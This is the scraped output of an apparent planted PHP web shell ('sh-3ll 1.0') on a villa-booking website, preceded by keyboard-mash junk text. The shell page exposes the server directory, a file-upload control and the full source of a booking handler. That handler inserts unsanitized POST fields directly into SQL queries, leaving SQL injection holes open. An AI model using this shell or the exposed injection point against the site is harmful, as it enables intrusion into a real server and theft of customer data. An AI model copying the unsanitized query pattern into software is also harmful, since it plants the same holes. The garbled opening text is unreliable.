fhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhd dfhdfhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhdfh bnmbertsurrttrtrtrtrjhjhjjhjhhjhjhjhf'tdfg php sh-3ll

HOME


sh-3ll 1.0
DIR:/home/u1105814/public_html/mountanasikunir.com/
Upload File :
Current File : /home/u1105814/public_html/mountanasikunir.com/proses_p.php
<?php
//session_start();
include "admin/config/koneksi.php";
define ('SITE_ROOT', realpath(dirname(__FILE__)));
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    // Ambil data dari form
    $id_villa = $_POST['id_villa'];
    $fullName = $_POST['fullName'];
    $email = $_POST['email'];
    $phoneNumber = $_POST['phoneNumber'];
    $checkinDate = $_POST['checkinDate'];
    $checkoutDate = $_POST['checkoutDate'];
    $paymentMethod = $_POST['paymentMethod'];
    $status="Belum Dibayar";

    $checkin = new DateTime($checkinDate);
    $checkout = new DateTime($checkoutDate);

    // Hitung selisih antara check-in dan check-out
    $interval = $checkin->diff($checkout);

    // Ambil durasi hari dari interval
    $durationInDays = $interval->days;

    echo "$id_villa,$fullName,$email,$phoneNumber,$checkinDate,$checkoutDate,$paymentMethod,$durationInDays";

    $qproduk=mysqli_query($connect,"SELECT * FROM produk where id_produk=$id_villa");
    $fproduk=mysqli_fetch_array($qproduk);
    $harga  =$fproduk['harga'];

    $get_last_booking=mysqli_query($connect,"SELECT MAX(id_booking) as id_booking FROM booking");
    $fget_last_booking=mysqli_fetch_array($get_last_booking);
    $id_booking  =$fget_last_booking['id_booking']+1;

    $total=$harga*$durationInDays;
    echo ",$harga,$total";
    mysqli_query($connect,"INSERT INTO booking(
                                  id_booking,
                                  id_villa,
                                  fullname,
                                  email,
                                  phonenumber,
                                  checkindate,
                                  checkoutdate,
                                  paymentmethod,
                                  duration,
                                  harga,
                                  total,
                                  status
                                  ) 
                         VALUES(
                                '$id_booking',
                                '$id_villa',
                                '$fullName',
                                '$email',
                                '$phoneNumber',
                                '$checkinDate',
                                '$checkoutDate',
                                '$paymentMethod',
                                '$durationInDays',
                                '$harga',
                                '$total',
                                '$status')");
  header('location:invoice.php?id_invoice='.$id_booking);
  }
?>